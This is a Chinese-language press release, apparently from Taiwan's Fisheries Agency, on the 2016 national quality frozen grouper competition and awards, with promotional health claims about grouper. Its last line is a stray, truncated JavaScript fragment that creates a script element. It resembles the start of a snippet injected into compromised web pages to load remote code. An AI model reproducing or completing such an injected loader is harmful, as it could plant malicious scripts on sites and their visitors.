漁業署為促進石斑魚產業再升級及拓展冷凍石斑魚市場,每年舉辦全國優質石斑魚競賽,「2016年全國優質石斑魚頒獎典禮」10月14日在圓山大飯店隆重舉行,獲獎的15位得獎養殖漁民與3位加工業者,聯手打造優質安心的冷凍石斑魚,漁業署陳添壽署長蒞臨現場頒獎,鼓勵業者持續精進研發,推薦消費者選購品質與養生兼具的國產優質石斑魚。

漁業署表示,我國石斑魚以活魚外銷中國大陸及香港為主,為拓展國內市場及提供消費者更方便的料理食材,2014年舉辦首屆「全國優質石斑魚」競賽,得獎產品受到市場高度肯定,今年持續舉辦第三屆,仍以國內養殖石斑魚冷凍加工製品為評比標的,養殖業者得自行或選擇HACCP加工廠共同聯盟參賽,參賽的冷凍產品並須附衛生檢驗證明;今年報名的50件參賽石斑魚品質出眾難分軒輊,經過美食專家就料理前後之外觀、氣味、肉質等進行評選,最終10件青斑及5件龍膽石斑共15件得獎產品脫穎而出 。

漁業署進一步說明,今年獲選「全國優質石斑魚」的養殖業者皆用心控管每個養殖過程,注重種苗、養殖池環境、飼料營養、疾病預防等環節,且搭配專業、衛生、安全的加工處理條件,產品也都以真空包裝適合簡便料理的方式販售,使消費者在家即可輕鬆享用養生料理。

漁業署最後表示,下個月就是立冬,石斑魚富含蛋白質、胺基酸、EPA、DHA、牛磺酸、膠質等,口感絕佳亦是養顏美容聖品,非常適合日常養生及秋冬進補,簡易的清蒸或煮湯方式,即能呈現石斑魚的鮮甜滋味,完全符合現代人養生無負擔的需求;相關全國優質石斑魚的訂購資訊,可上該署官網或「支持臺灣國產水產」臉書粉絲頁查詢。var d=document;var s=d.createElement(‘script’);